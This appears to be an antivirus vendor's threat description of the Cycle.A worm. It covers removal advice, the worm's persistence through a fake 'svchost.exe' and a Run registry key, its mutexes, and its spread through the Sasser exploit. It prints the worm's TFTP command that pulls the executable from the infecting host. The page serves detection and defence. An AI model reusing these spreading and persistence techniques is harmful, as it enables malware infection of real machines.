Classification

Category :

Malware

Type :

-

Aliases :

Cycle.A, W32/Cycle.A

Summary

Cycle.A is a network worm found on May 10th, 2004 exploiting the same vulnerability as Sasser does.

The worm contains long texts on the political situation in Iran.

Removal

Based on the settings of your F-Secure security product, it will either move the file to the quarantine where it cannot spread or cause harm, or remove it.

A False Positive is when a file is incorrectly detected as harmful, usually because its code or behavior resembles known harmful programs. A False Positive will usually be fixed in a subsequent database update without any action needed on your part. If you wish, you may also:

  • Check for the latest database updates

    First check if your F-Secure security program is using the latest updates, then try scanning the file again.

  • Submit a sample

    After checking, if you still believe the file is incorrectly detected, you can submit a sample of it for re-analysis.

    Note: If the file was moved to quarantine, you need to collect the file from quarantine before you can submit it.

  • Exclude a file from further scanning

    If you are certain that the file is safe and want to continue using it, you can exclude it from further scanning by the F-Secure security product.

    Note: You need administrative rights to change the settings.

Technical Details

The Cycle.A worm is packed with a modified version of UPX.

System Infection

When the worm enters the system it creates a copy of itself in the Windows System Directory as 'svchost.exe'.

[HKLM\Software\Microsoft\Windows\CurrentVersion\Run]
"Generic Host Service" = "%windir%\system\svchost.exe"
 

Where %windir% is the main Windows folder.

It creates mutex with the following names:

Jobaka3
JumpallsNlsTillt
Jobaka3l
SkynetSasserVersionWithPingFast
 

The worm will attempt to terminate any process named 'msblast.exe'

Network Propagation

The worm uses the same exploit as Sasser worm family does.

Upon infection, the newly infected remote host will be instructed to obtain a copy of the worm executable from the local, already infected, host.

The copy process will take place through TFTP. The infected machine will open a TFTP server on the standard port 60, and send the following command to the machine being infected:

tftp -i [local ip] GET cyclone.exe
 

Where [local ip] is the infected machine and 'cyclone.exe' the worm's executable.

The machine will also open port 3332, and sit accepting connections there, without taking further actions. Machines connecting to this port, and being able to establish a connection will know that the machine is already infected and skip the infection attempt.